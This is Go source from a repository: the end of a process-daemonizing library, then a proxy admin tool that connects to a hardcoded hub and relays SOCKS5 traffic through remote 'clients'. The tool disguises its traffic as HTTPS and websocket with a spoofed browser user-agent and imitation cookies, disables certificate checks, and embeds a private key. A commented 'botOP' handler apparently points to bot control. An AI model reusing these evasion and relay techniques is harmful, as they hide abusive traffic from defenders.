are provided as a DaemonAttr structure. In particular, setting the 44 | CaptureOutput member to true will make the function return two io.Reader 45 | streams to read the process' standard output and standard error, respectively. 46 | That's useful if you want to capture things you'd normally lose given the 47 | lack of console output for a daemon. Some libraries can write error conditions 48 | to standard error or make use of Go's log package, that defaults to standard 49 | error too. Having these streams allows you to capture them as required. (Note 50 | that this function takes no action whatsoever on any of the streams.) 51 | 52 | NOTE: If you use them, make sure NOT to take one of these readers and write 53 | the data back again to standard output/error, or you'll end up with a loop. 54 | Also, note that data will be flushed on a line-by-line basis; i.e., partial 55 | lines will be buffered until an end-of-line is seen. 56 | 57 | By using the Files member of DaemonAttr you can inherit open files that will 58 | still be open once the program is running as a daemon. This may be convenient in 59 | general, but it's primarily intended to avoid race conditions while forking, in 60 | case a lock (flock) was held on that file. Repeatedly releasing and re-locking 61 | while forking is subject to race conditions, cause a different process could 62 | lock the file in between. But locks held on files declared at DaemonAttr.Files 63 | are guaranteed NOT to be released during the whole process, and still be held by 64 | the daemon. To use this feature you should open the file(s), lock if required 65 | and then call MakeDaemon using pointers to that *os.File objects; i.e., you'd be 66 | passing **os.File objects to MakeDaemon(). However, opening the files (and 67 | locking if required) should only be attempted at the parent. (Recall that 68 | MakeDaemon() will run the code coming "before" it three times; see the 69 | explanation above.) You can filter that by calling Stage() and looking for a 70 | godaemon.StageParent result. The last call to MakeDaemon() at the daemon itself 71 | will actually *load* the *os.File objects for you; that's why you need to 72 | provide a pointer to them. So here's how you'd use it: 73 | 74 | var ( 75 | f *os.File 76 | err error 77 | ) 78 | 79 | if godaemon.Stage() == godaemon.StageParent { 80 | f, err = os.OpenFile(name, opts, perm) 81 | if err != nil { 82 | os.Exit(1) 83 | } 84 | err = syscall.Flock(int(f.Fd()), syscall.LOCK_EX) 85 | if err != nil { 86 | os.Exit(1) 87 | } 88 | } 89 | 90 | _, _, err = godaemon.MakeDaemon(&godaemon.DaemonAttr{ 91 | Files: []**os.File{&f}, 92 | }) 93 | 94 | // Only the daemon will reach this point, where f will be a valid descriptor 95 | // pointing to your file "name", still holding the lock (which will have 96 | // never been released during successive forks). You can operate on f as you 97 | // normally would, like: 98 | f.Close() 99 | 100 | NOTE: Do not abuse this feature. Even though you could, it's obviously not a 101 | good idea to use this mechanism to keep a terminal device open, for instance. 102 | Otherwise, what you get is not strictly a daemon. 103 | 104 | 105 | Daemonizing is a 3-stage process. In stage 0, the program increments the 106 | magical environment variable and starts a copy of itself that's a session 107 | leader, with its STDIN, STDOUT, and STDERR disconnected from any tty. It 108 | then exits. 109 | 110 | In stage 1, the (new copy of) the program starts another copy that's not 111 | a session leader, and then exits. 112 | 113 | In stage 2, the (new copy of) the program chdir's to /, then sets the umask 114 | and reestablishes the original value for the environment variable. 115 | */ 116 | func MakeDaemon(attrs *DaemonAttr) (io.Reader, io.Reader, error) { 117 | stage, advanceStage, resetEnv := getStage() 118 | 119 | // This is a handy wrapper to do the proper thing in case of fatal 120 | // conditions. For the first stage you may want to recover, so it will 121 | // return the error. Otherwise it will exit the process, cause you'll be 122 | // half-way with some descriptors already changed. There's no chance to 123 | // write to stdout or stderr in the later case; they'll be already closed. 124 | fatal := func(err error) (io.Reader, io.Reader, error) { 125 | if stage > 0 { 126 | os.Exit(1) 127 | } 128 | resetEnv() 129 | return nil, nil, err 130 | } 131 | 132 | fileCount := 3 + len(attrs.Files) 133 | files := make([]*os.File, fileCount, fileCount+2) 134 | 135 | if stage == 0 { 136 | // Descriptors 0, 1 and 2 are fixed in the "os" package. If we close 137 | // them, the process may choose to open something else there, with bad 138 | // consequences if some write to os.Stdout or os.Stderr follows (even 139 | // from Go's library itself, through the default log package). We thus 140 | // reserve these descriptors to avoid that. 141 | nullDev, err := os.OpenFile("/dev/null", 0, 0) 142 | if err != nil { 143 | return fatal(err) 144 | } 145 | files[0], files[1], files[2] = nullDev, nullDev, nullDev 146 | 147 | fd := 3 148 | for _, fPtr := range attrs.Files { 149 | files[fd] = *fPtr 150 | saveFileName(fd, (*fPtr).Name()) 151 | fd++ 152 | } 153 | } else { 154 | files[0], files[1], files[2] = os.Stdin, os.Stdout, os.Stderr 155 | 156 | fd := 3 157 | for _, fPtr := range attrs.Files { 158 | *fPtr = os.NewFile(uintptr(fd), getFileName(fd)) 159 | syscall.CloseOnExec(fd) 160 | files[fd] = *fPtr 161 | fd++ 162 | } 163 | } 164 | 165 | if stage < 2 { 166 | // getExecutablePath() is OS-specific. 167 | procName, err := GetExecutablePath() 168 | if err != nil { 169 | return fatal(fmt.Errorf("can't determine full path to executable: %s", err)) 170 | } 171 | 172 | // If getExecutablePath() returns "" but no error, determinating the 173 | // executable path is not implemented on the host OS, so daemonization 174 | // is not supported. 175 | if len(procName) == 0 { 176 | return fatal(fmt.Errorf("can't determine full path to executable")) 177 | } 178 | 179 | if stage == 1 && attrs.CaptureOutput { 180 | files = files[:fileCount+2] 181 | 182 | // stdout: write at fd:1, read at fd:fileCount 183 | if files[fileCount], files[1], err = os.Pipe(); err != nil { 184 | return fatal(err) 185 | } 186 | // stderr: write at fd:2, read at fd:fileCount+1 187 | if files[fileCount+1], files[2], err = os.Pipe(); err != nil { 188 | return fatal(err) 189 | } 190 | } 191 | 192 | if err := advanceStage(); err != nil { 193 | return fatal(err) 194 | } 195 | dir, _ := os.Getwd() 196 | osAttrs := os.ProcAttr{Dir: dir, Env: os.Environ(), Files: files} 197 | 198 | if stage == 0 { 199 | sysattrs := syscall.SysProcAttr{Setsid: true} 200 | osAttrs.Sys = &sysattrs 201 | } 202 | 203 | progName := attrs.ProgramName 204 | if len(progName) == 0 { 205 | progName = os.Args[0] 206 | } 207 | args := append([]string{progName}, os.Args[1:]...) 208 | proc, err := os.StartProcess(procName, args, &osAttrs) 209 | if err != nil { 210 | return fatal(fmt.Errorf("can't create process %s: %s", procName, err)) 211 | } 212 | proc.Release() 213 | os.Exit(0) 214 | } 215 | 216 | os.Chdir("/") 217 | syscall.Umask(0) 218 | resetEnv() 219 | 220 | for fd := 3; fd < fileCount; fd++ { 221 | resetFileName(fd) 222 | } 223 | currStage = DaemonStage(stage) 224 | 225 | var stdout, stderr *os.File 226 | if attrs.CaptureOutput { 227 | stdout = os.NewFile(uintptr(fileCount), "stdout") 228 | stderr = os.NewFile(uintptr(fileCount+1), "stderr") 229 | } 230 | return stdout, stderr, nil 231 | } 232 | 233 | func saveFileName(fd int, name string) { 234 | // We encode in hex to avoid issues with filename encoding, and to be able 235 | // to separate it from the original variable value (if set) that we want to 236 | // keep. Otherwise, all non-zero characters are valid in the name, and we 237 | // can't insert a zero in the var as a separator. 238 | fdVar := fdVarPrefix + fmt.Sprint(fd) 239 | value := fmt.Sprintf("%s:%s", 240 | hex.EncodeToString([]byte(name)), os.Getenv(fdVar)) 241 | 242 | if err := os.Setenv(fdVar, value); err != nil { 243 | fmt.Fprintf(os.Stderr, "can't set %s: %s\n", fdVar, err) 244 | os.Exit(1) 245 | } 246 | } 247 | 248 | func getFileName(fd int) string { 249 | fdVar := fdVarPrefix + fmt.Sprint(fd) 250 | value := os.Getenv(fdVar) 251 | sep := bytes.IndexByte([]byte(value), ':') 252 | 253 | if sep < 0 { 254 | fmt.Fprintf(os.Stderr, "bad fd var %s\n", fdVar) 255 | os.Exit(1) 256 | } 257 | name, err := hex.DecodeString(value[:sep]) 258 | if err != nil { 259 | fmt.Fprintf(os.Stderr, "error decoding %s\n", fdVar) 260 | os.Exit(1) 261 | } 262 | return string(name) 263 | } 264 | 265 | func resetFileName(fd int) { 266 | fdVar := fdVarPrefix + fmt.Sprint(fd) 267 | value := os.Getenv(fdVar) 268 | sep := bytes.IndexByte([]byte(value), ':') 269 | 270 | if sep < 0 { 271 | fmt.Fprintf(os.Stderr, "bad fd var %s\n", fdVar) 272 | os.Exit(1) 273 | } 274 | if err := os.Setenv(fdVar, value[sep+1:]); err != nil { 275 | fmt.Fprintf(os.Stderr, "can't reset %s\n", fdVar) 276 | os.Exit(1) 277 | } 278 | } 279 | 280 | // Daemonize is equivalent to MakeDaemon(&DaemonAttr{}). It is kept only for 281 | // backwards API compatibility, but it's usage is otherwise discouraged. Use 282 | // MakeDaemon() instead. The child parameter, previously used to tell whether 283 | // to reset the environment or not (see MakeDaemon()), is currently ignored. 284 | // The environment is reset in all cases. 285 | func Daemonize(child ...bool) { 286 | MakeDaemon(&DaemonAttr{}) 287 | } 288 | 289 | // DaemonStage tells in what stage in the process we are. See Stage(). 290 | type DaemonStage int 291 | 292 | // Stages in the daemonizing process. 293 | const ( 294 | StageParent = DaemonStage(iota) // Original process 295 | StageChild // MakeDaemon() called once: first child 296 | StageDaemon // MakeDaemon() run twice: final daemon 297 | 298 | stageUnknown = DaemonStage(-1) 299 | ) 300 | 301 | // currStage keeps the current stage. This is used only as a cache for Stage(), 302 | // in order to extend a valid result after MakeDaemon() has returned, where the 303 | // environment variable would have already been reset. (Also, this is faster 304 | // than repetitive calls to getStage().) Note that this approach is valid cause 305 | // the stage doesn't change throughout any single process execution. It does 306 | // only for the next process after the MakeDaemon() call. 307 | var currStage = stageUnknown 308 | 309 | // Stage returns the "stage of daemonizing", i.e., it allows you to know whether 310 | // you're currently working in the parent, first child, or the final daemon. 311 | // This is useless after the call to MakeDaemon(), cause that call will only 312 | // return for the daemon stage. However, you can still use Stage() to tell 313 | // whether you've daemonized or not, in case you have a running path that may 314 | // exclude the call to MakeDaemon(). 315 | func Stage() DaemonStage { 316 | if currStage == stageUnknown { 317 | s, _, _ := getStage() 318 | currStage = DaemonStage(s) 319 | } 320 | return currStage 321 | } 322 | 323 | // String returns a humanly readable daemonization stage. 324 | func (s DaemonStage) String() string { 325 | switch s { 326 | case StageParent: 327 | return "parent" 328 | case StageChild: 329 | return "first child" 330 | case StageDaemon: 331 | return "daemon" 332 | default: 333 | return "unknown" 334 | } 335 | } 336 | 337 | // Returns the current stage in the "daemonization process", that's kept in 338 | // an environment variable. The variable is instrumented with a digital 339 | // signature, to avoid misbehavior if it was present in the user's 340 | // environment. The original value is restored after the last stage, so that 341 | // there's no final effect on the environment the application receives. 342 | func getStage() (stage int, advanceStage func() error, resetEnv func() error) { 343 | var origValue string 344 | stage = 0 345 | 346 | daemonStage := os.Getenv(stageVar) 347 | stageTag := strings.SplitN(daemonStage, ":", 2) 348 | stageInfo := strings.SplitN(stageTag[0], "/", 3) 349 | 350 | if len(stageInfo) == 3 { 351 | stageStr, tm, check := stageInfo[0], stageInfo[1], stageInfo[2] 352 | 353 | hash := sha1.New() 354 | hash.Write([]byte(stageStr + "/" + tm + "/")) 355 | 356 | if check != hex.EncodeToString(hash.Sum([]byte{})) { 357 | // This whole chunk is original data 358 | origValue = daemonStage 359 | } else { 360 | stage, _ = strconv.Atoi(stageStr) 361 | 362 | if len(stageTag) == 2 { 363 | origValue = stageTag[1] 364 | } 365 | } 366 | } else { 367 | origValue = daemonStage 368 | } 369 | 370 | advanceStage = func() error { 371 | base := fmt.Sprintf("%d/%09d/", stage+1, time.Now().Nanosecond()) 372 | hash := sha1.New() 373 | hash.Write([]byte(base)) 374 | tag := base + hex.EncodeToString(hash.Sum([]byte{})) 375 | 376 | if err := os.Setenv(stageVar, tag+":"+origValue); err != nil { 377 | return fmt.Errorf("can't set %s: %s", stageVar, err) 378 | } 379 | return nil 380 | } 381 | resetEnv = func() error { 382 | return os.Setenv(stageVar, origValue) 383 | } 384 | 385 | return stage, advanceStage, resetEnv 386 | } 387 | -------------------------------------------------------------------------------- /proxy/proxy.go: -------------------------------------------------------------------------------- 1 | // go build proxy.go share.go 2 | package main 3 | 4 | import ( 5 | "flag" 6 | "log" 7 | // "io" 8 | "net" 9 | "net/http" 10 | "fmt" 11 | // "os" 12 | // "os/signal" 13 | // "syscall" 14 | // "strings" 15 | "strconv" 16 | 17 | "time" 18 | "sync" 19 | "errors" 20 | 21 | "io/ioutil" 22 | "encoding/base64" 23 | 24 | "lib/fakehttp" 25 | // kit "local/toolkit" 26 | "local/base" 27 | vlog "local/log" 28 | ) 29 | 30 | 31 | var hubPubKey, _ = base64.StdEncoding.DecodeString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArogYEOHItjtm0wJOX+hSHjGTIPUsRo/TyLGYxWVk79pNWAhCSvH9nfvpx0skefcL/Nd++Qb/zb3c+o7ZI4zbMKZJLim3yaN8IDlgrjKG7wmjB5r49++LrvRzjIJCAoeFog2PfEn3qlQ+PA26TqLsbPNZi9nsaHlwTOqGljg82g23Zqj1o5JfitJvVlRLmhPqc8kO+4Dvf08MdVS6vBGZjzWFmGx9k3rrDoi7tem22MflFnOQhgLJ4/sbd4Y71ok98ChrQhb6SzZKVWN5v7VCuKqhFLmhZuK0z0f/xkBNcMeCplVLhs/gLIU3HBmvbBSYhmN4dDL19cAv1MkQ6lb1dwIDAQAB") 32 | var public_ECDSA, _ = base64.StdEncoding.DecodeString("MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEc8tgqZX82zrd6809YWzJkh4zhvaoCEbkU8yxBW+a9U1L+XgItJGRL33vYecv4lH9ovSNgJiyvnqdmqkJtwq52Q==") 33 | var private_ECDSA, _ = base64.StdEncoding.DecodeString("MHcCAQEEIFABqR2iqeprQ5Mu3236NGFryXU+J8pUlC14ijvhuSBgoAoGCCqGSM49AwEHoUQDQgAEc8tgqZX82zrd6809YWzJkh4zhvaoCEbkU8yxBW+a9U1L+XgItJGRL33vYecv4lH9ovSNgJiyvnqdmqkJtwq52Q==") 34 | 35 | var verb = flag.Int("v", 6, "Verbosity") 36 | var huburl = flag.String("t", "cs8425.noip.me:8787", "hub url") 37 | var port = flag.String("p", ":8181", "proxy listen on") 38 | var webPort = flag.String("l", ":8888", "web UI listen on") 39 | 40 | var ( 41 | fakeHttp = flag.Bool("http", true, "hub act as http server") 42 | httpTLS = flag.Bool("tls", true, "via https") 43 | 44 | crtFile = flag.String("crt", "", "PEM encoded certificate file") 45 | 46 | tokenCookieA = flag.String("ca", "cna", "token cookie name A") 47 | tokenCookieB = flag.String("cb", "_tb_token_", "token cookie name B") 48 | tokenCookieC = flag.String("cc", "_cna", "token cookie name C") 49 | 50 | userAgent = flag.String("ua", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36", "User-Agent (default: Chrome)") 51 | 52 | wsObf = flag.Bool("usews", true, "fake as websocket") 53 | tlsVerify = flag.Bool("k", true, "InsecureSkipVerify") 54 | ) 55 | 56 | var localservers SrvList 57 | var hubs HubList 58 | 59 | type HubList struct { 60 | lock sync.RWMutex 61 | hubs []*hubLink 62 | nextid int 63 | } 64 | 65 | func (hl *HubList) WriteList(w http.ResponseWriter) { 66 | hl.lock.RLock() 67 | 68 | fmt.Fprintf(w, "i\thid\taddr\n") 69 | for i, hub := range hl.hubs { 70 | fmt.Fprintf(w, "%v\t%v\t%v\n", i, hub.Id, hub.HubAddr) 71 | } 72 | 73 | hl.lock.RUnlock() 74 | } 75 | 76 | func (hl *HubList) Conn(hubaddr string) (*hubLink, error) { 77 | hub, err := NewHubLinkConn(hubaddr) 78 | if err != nil { 79 | return nil, err 80 | } 81 | 82 | hl.lock.Lock() 83 | hl.hubs = append(hl.hubs, hub) 84 | hub.Id = hl.nextid 85 | hl.nextid += 1 86 | 87 | hl.lock.Unlock() 88 | return hub, nil 89 | } 90 | 91 | func (hl *HubList) StopId(id int) (int, string) { 92 | hl.lock.Lock() 93 | defer hl.lock.Unlock() 94 | 95 | for i, hub := range hl.hubs { 96 | if id == hub.Id { 97 | hub.Admin.Raw.Close() 98 | hl.hubs = append(hl.hubs[:i], hl.hubs[i+1:]...) 99 | return i, hub.HubAddr 100 | } 101 | } 102 | return -1, "not found" 103 | } 104 | 105 | func (hl *HubList) GetId(id int) (*hubLink) { 106 | hl.lock.RLock() 107 | defer hl.lock.RUnlock() 108 | 109 | for _, hub := range hl.hubs { 110 | if id == hub.Id { 111 | return hub 112 | } 113 | } 114 | return nil 115 | } 116 | 117 | type SrvList struct { 118 | lock sync.RWMutex 119 | srvs []*loSrv 120 | } 121 | 122 | func (sl *SrvList) WriteList(w http.ResponseWriter) { 123 | sl.lock.RLock() 124 | 125 | fmt.Fprintf(w, "sid\tbind\tstarted\n") 126 | for i, srv := range sl.srvs { 127 | fmt.Fprintf(w, "%v\t%v\t%v\n", i, srv.BindAddr, srv.Lis != nil) 128 | } 129 | 130 | sl.lock.RUnlock() 131 | } 132 | 133 | func (sl *SrvList) Add(srv *loSrv) { 134 | sl.lock.Lock() 135 | sl.srvs = append(sl.srvs, srv) 136 | sl.lock.Unlock() 137 | } 138 | 139 | func (sl *SrvList) Get(addr string) (*loSrv) { 140 | sl.lock.RLock() 141 | defer sl.lock.RUnlock() 142 | 143 | for _, srv := range sl.srvs { 144 | if addr == srv.BindAddr { 145 | return srv 146 | } 147 | } 148 | return nil 149 | } 150 | 151 | func (sl *SrvList) Stop(addr string) (int, string) { 152 | sl.lock.Lock() 153 | defer sl.lock.Unlock() 154 | 155 | for i, srv := range sl.srvs { 156 | if addr == srv.BindAddr { 157 | srv.Close() 158 | sl.srvs = append(sl.srvs[:i], sl.srvs[i+1:]...) 159 | return i, srv.BindAddr 160 | } 161 | } 162 | return -1, "not found" 163 | } 164 | 165 | func hubOP(w http.ResponseWriter, r *http.Request) { 166 | switch r.Method { 167 | case "HEAD": 168 | return 169 | default: 170 | } 171 | 172 | var hid int 173 | var op string 174 | 175 | err := r.ParseForm() 176 | if err != nil { 177 | goto BAD_REQ 178 | } 179 | 180 | hid, _ = strconv.Atoi(r.Form.Get("hid")) 181 | op = r.Form.Get("op") 182 | 183 | switch op { 184 | case "": 185 | fallthrough 186 | case "ls": 187 | hubs.WriteList(w) 188 | 189 | case "conn": 190 | addr := r.Form.Get("bind") 191 | if addr == "" { 192 | goto BAD_REQ 193 | } 194 | 195 | hub, err := hubs.Conn(addr) 196 | if err != nil { 197 | goto BAD_REQ 198 | } 199 | fmt.Fprintf(w, "hid:%v", hub.Id) 200 | 201 | case "stop": 202 | idx, addr := hubs.StopId(hid) 203 | fmt.Fprintf(w, "[stop]%v\t%v\t%v\n", idx, hid, addr) 204 | 205 | case "flush": 206 | hub := hubs.GetId(hid) 207 | if hub == nil { 208 | goto BAD_REQ 209 | } 210 | hub.FlushClients() 211 | 212 | case "lsc": 213 | hub := hubs.GetId(hid) 214 | if hub == nil { 215 | goto BAD_REQ 216 | } 217 | hub.WriteList(w) 218 | 219 | default: 220 | goto BAD_REQ 221 | } 222 | return 223 | 224 | BAD_REQ: 225 | http.Error(w, "bad request", http.StatusBadRequest) 226 | return 227 | } 228 | 229 | func srvOP(w http.ResponseWriter, r *http.Request) { 230 | switch r.Method { 231 | case "HEAD": 232 | return 233 | default: 234 | } 235 | 236 | var addr string 237 | var op string 238 | 239 | err := r.ParseForm() 240 | if err != nil { 241 | goto BAD_REQ 242 | } 243 | 244 | op = r.Form.Get("op") 245 | switch op { 246 | case "": 247 | fallthrough 248 | case "ls": 249 | localservers.WriteList(w) 250 | return 251 | } 252 | 253 | addr = r.Form.Get("bind") 254 | if addr == "" { 255 | goto BAD_REQ 256 | } 257 | 258 | switch op { 259 | case "start": 260 | hid, err := strconv.Atoi(r.Form.Get("hid")) 261 | if err != nil { 262 | goto BAD_REQ 263 | } 264 | hublink := hubs.GetId(hid) 265 | if hublink == nil { 266 | goto BAD_REQ 267 | } 268 | 269 | // TODO: select clients 270 | go startSrv(hublink, addr) 271 | 272 | fmt.Fprintf(w, "server start") 273 | 274 | case "stop": 275 | idx, addr := localservers.Stop(addr) 276 | fmt.Fprintf(w, "[stop]%v\t%v\n", idx, addr) 277 | 278 | case "mode": 279 | case "flush": 280 | lo := localservers.Get(addr) 281 | if lo == nil { 282 | goto BAD_REQ 283 | } 284 | lo.FlushClients() 285 | 286 | case "lsc": 287 | lo := localservers.Get(addr) 288 | if lo == nil { 289 | goto BAD_REQ 290 | } 291 | lo.list.WriteList(w) 292 | 293 | default: 294 | goto BAD_REQ 295 | } 296 | return 297 | 298 | BAD_REQ: 299 | http.Error(w, "bad request", http.StatusBadRequest) 300 | return 301 | } 302 | 303 | func main() { 304 | flag.Parse() 305 | vlog.Verbosity = *verb 306 | if vlog.Verbosity > 3 { 307 | vlog.Std.SetFlags(log.LstdFlags | log.Lmicroseconds) 308 | } 309 | 310 | hublink, err := hubs.Conn(*huburl) 311 | if err != nil { 312 | vlog.Vln(1, "connect err", err) 313 | return 314 | } 315 | go startSrv(hublink, *port) 316 | 317 | mux := http.NewServeMux() 318 | mux.HandleFunc("/jquery.min.js", func (w http.ResponseWriter, r *http.Request) { 319 | http.ServeFile(w, r, "www/jquery.min.js") 320 | }) 321 | mux.HandleFunc("/", func (w http.ResponseWriter, r *http.Request) { 322 | http.ServeFile(w, r, "www/index.html") 323 | }) 324 | //mux.Handle("/r/", http.StripPrefix("/r/", http.FileServer(http.Dir(config.ResDir)))) 325 | mux.HandleFunc("/api/hub", hubOP) 326 | mux.HandleFunc("/api/srv", srvOP) 327 | //mux.HandleFunc("/api/bot", botOP) 328 | 329 | srv := &http.Server{Addr: *webPort, Handler: mux} 330 | 331 | log.Printf("[server] HTTP server Listen on: %v", *webPort) 332 | err = srv.ListenAndServe() 333 | if err != http.ErrServerClosed { 334 | log.Printf("[server] ListenAndServe error: %v", err) 335 | } 336 | } 337 | 338 | 339 | var ErrNoClient = errors.New("no available client") 340 | 341 | type ClientList interface { 342 | SetList(list []*base.PeerInfo) 343 | GetClientId() (string, error) 344 | RmClientId(id string) 345 | 346 | WriteList(w http.ResponseWriter) // web api 347 | } 348 | 349 | type roundList struct { 350 | lock sync.RWMutex 351 | Clients []*base.PeerInfo 352 | nextId int 353 | } 354 | 355 | func (cl *roundList) SetList(list []*base.PeerInfo) { 356 | cl.lock.Lock() 357 | cl.Clients = list 358 | cl.lock.Unlock() 359 | } 360 | 361 | func (cl *roundList) GetClientId() (string, error) { 362 | cl.lock.Lock() 363 | defer cl.lock.Unlock() 364 | 365 | if len(cl.Clients) == 0 { 366 | return "", ErrNoClient 367 | } 368 | 369 | if cl.nextId >= len(cl.Clients) { 370 | cl.nextId = 0 371 | } 372 | id := cl.Clients[cl.nextId] 373 | cl.nextId += 1 374 | 375 | return id.UTag, nil 376 | } 377 | 378 | func (cl *roundList) RmClientId(id string) { 379 | cl.lock.Lock() 380 | defer cl.lock.Unlock() 381 | 382 | for i, c := range cl.Clients { 383 | if c.UTag == id { 384 | cl.Clients = append(cl.Clients[:i], cl.Clients[i+1:]...) 385 | break 386 | } 387 | } 388 | } 389 | 390 | func (cl *roundList) WriteList(w http.ResponseWriter) { 391 | cl.lock.Lock() 392 | defer cl.lock.Unlock() 393 | 394 | fmt.Fprintf(w, "count:%d\n", len(cl.Clients)) 395 | for _, c := range cl.Clients { 396 | fmt.Fprintf(w, "%s\n", c.String()) 397 | } 398 | } 399 | 400 | type hubLink struct { 401 | lock sync.RWMutex 402 | HubAddr string 403 | Admin *base.Auth 404 | Clients []*base.PeerInfo 405 | Id int 406 | } 407 | 408 | func (hl *hubLink) FlushClients() ([]*base.PeerInfo, error) { 409 | hl.lock.Lock() 410 | defer hl.lock.Unlock() 411 | 412 | p1, err := hl.Admin.GetConn(base.H_ls) 413 | if err != nil { 414 | return nil, err 415 | } 416 | 417 | list := base.PeerList{} 418 | _, err = list.ReadFrom(p1) 419 | if err != nil { 420 | return nil, err 421 | } 422 | hl.Clients = list.GetListByRTT() 423 | 424 | return hl.Clients, nil 425 | } 426 | 427 | func (hl *hubLink) WriteList(w http.ResponseWriter) { 428 | hl.lock.RLock() 429 | defer hl.lock.RUnlock() 430 | 431 | fmt.Fprintf(w, "count:%d\n", len(hl.Clients)) 432 | for _, c := range hl.Clients { 433 | fmt.Fprintf(w, "%s\n", c.String()) 434 | } 435 | } 436 | 437 | func NewHubLinkConn(hubaddr string) (*hubLink, error) { 438 | admin := base.NewAuth() 439 | admin.HubPubKey = hubPubKey 440 | admin.Private_ECDSA = private_ECDSA 441 | 442 | // TODO: other transport layer 443 | var conn net.Conn 444 | var err error 445 | if *fakeHttp { 446 | var cl *fakehttp.Client 447 | if *httpTLS { 448 | var caCert []byte 449 | if *crtFile != "" { 450 | var err error 451 | caCert, err = ioutil.ReadFile(*crtFile) 452 | if err != nil { 453 | vlog.Vln(2, "Reading certificate error:", err) 454 | return nil, err 455 | } 456 | } 457 | cl = fakehttp.NewTLSClient(hubaddr, caCert, true) 458 | } else { 459 | cl = fakehttp.NewClient(hubaddr) 460 | } 461 | cl.TokenCookieA = *tokenCookieA 462 | cl.TokenCookieB = *tokenCookieB 463 | cl.TokenCookieC = *tokenCookieC 464 | cl.UseWs = *wsObf 465 | cl.UserAgent = *userAgent 466 | 467 | conn, err = cl.Dial() 468 | } else { 469 | conn, err = net.Dial("tcp", hubaddr) 470 | } 471 | if err != nil { 472 | return nil, err 473 | } 474 | 475 | _, err = admin.InitConn(conn) 476 | if err != nil { 477 | return nil, err 478 | } 479 | 480 | h := NewHubLink(hubaddr, admin) 481 | return h, nil 482 | } 483 | 484 | func NewHubLink(hubaddr string, admin *base.Auth) (*hubLink) { 485 | h := hubLink{ 486 | HubAddr: hubaddr, 487 | Admin: admin, 488 | } 489 | return &h 490 | } 491 | 492 | type loSrv struct { 493 | lock sync.RWMutex 494 | BindAddr string 495 | Link *hubLink 496 | Lis net.Listener 497 | 498 | list ClientList // for selected clients 499 | } 500 | 501 | func NewLoSrv(hub *hubLink) (*loSrv) { 502 | lo := loSrv{ 503 | Link: hub, 504 | list: &roundList{}, 505 | } 506 | return &lo 507 | } 508 | 509 | func (lo *loSrv) Close() (error) { 510 | lo.lock.Lock() 511 | defer lo.lock.Unlock() 512 | 513 | err := lo.Lis.Close() 514 | if err == nil { 515 | lo.Lis = nil 516 | } 517 | 518 | return err 519 | } 520 | 521 | func (lo *loSrv) FlushClients() ([]*base.PeerInfo, error) { 522 | lo.lock.Lock() 523 | defer lo.lock.Unlock() 524 | 525 | pl, err := lo.Link.FlushClients() 526 | if err != nil { 527 | return nil, err 528 | } 529 | 530 | lst := make([]*base.PeerInfo, len(pl), len(pl)) 531 | copy(lst, pl) 532 | lo.list.SetList(lst) 533 | 534 | return lst, nil 535 | } 536 | 537 | func (lo *loSrv) GetClient() (p1 net.Conn, err error) { 538 | lo.lock.RLock() 539 | defer lo.lock.RUnlock() 540 | 541 | for { 542 | utag, err := lo.list.GetClientId() 543 | if err != nil { 544 | break 545 | } 546 | vlog.Vln(5, "[GetClient]utag:", utag) 547 | 548 | p1, err = lo.Link.Admin.GetConn2Client(utag, base.B_fast0) 549 | if err == nil { 550 | return p1, nil 551 | } 552 | vlog.Vln(5, "[GetClient]err:", err) 553 | 554 | // remove error client 555 | lo.list.RmClientId(utag) 556 | } 557 | 558 | return nil, ErrNoClient 559 | } 560 | 561 | func (lo *loSrv) StartSocks() { 562 | lis, err := net.Listen("tcp", lo.BindAddr) 563 | if err != nil { 564 | vlog.Vln(2, "[local]Error listening:", err.Error()) 565 | return 566 | } 567 | defer lis.Close() 568 | 569 | lo.lock.Lock() 570 | lo.Lis = lis 571 | lo.lock.Unlock() 572 | 573 | for { 574 | if conn, err := lis.Accept(); err == nil { 575 | vlog.Vln(2, "[local][new]", conn.RemoteAddr()) 576 | go lo.handleClient(conn) 577 | } else { 578 | vlog.Vln(2, "[local]Accept err", err) 579 | return 580 | } 581 | } 582 | } 583 | 584 | func (lo *loSrv) handleClient(p0 net.Conn) { 585 | defer p0.Close() 586 | //vlog.Vln(2, "socksv5") 587 | 588 | // select client 589 | p1, err := lo.GetClient() 590 | if err != nil { 591 | vlog.Vln(3, "socks5 err", err) 592 | return 593 | } 594 | defer p1.Close() 595 | 596 | // do socks5 597 | base.HandleSocksF(p0, p1) 598 | } 599 | 600 | func startSrv(hublink *hubLink, localport string) { 601 | srv := NewLoSrv(hublink) 602 | srv.BindAddr = localport 603 | mux := srv.Link.Admin.Sess 604 | 605 | localservers.Add(srv) 606 | 607 | // check connection to hub 608 | go func(){ 609 | for { 610 | _, err := mux.AcceptStream() 611 | if err != nil { 612 | mux.Close() 613 | vlog.Vln(2, "connection to hub reset!!") 614 | break 615 | } 616 | } 617 | }() 618 | 619 | go srv.StartSocks() 620 | 621 | // TODO: better update & exit check 622 | for { 623 | _, err := srv.FlushClients() 624 | if err != nil { 625 | return 626 | } 627 | time.Sleep(30 * time.Second) 628 | } 629 | } 630 | 631 | --------------------------------------------------------------------------------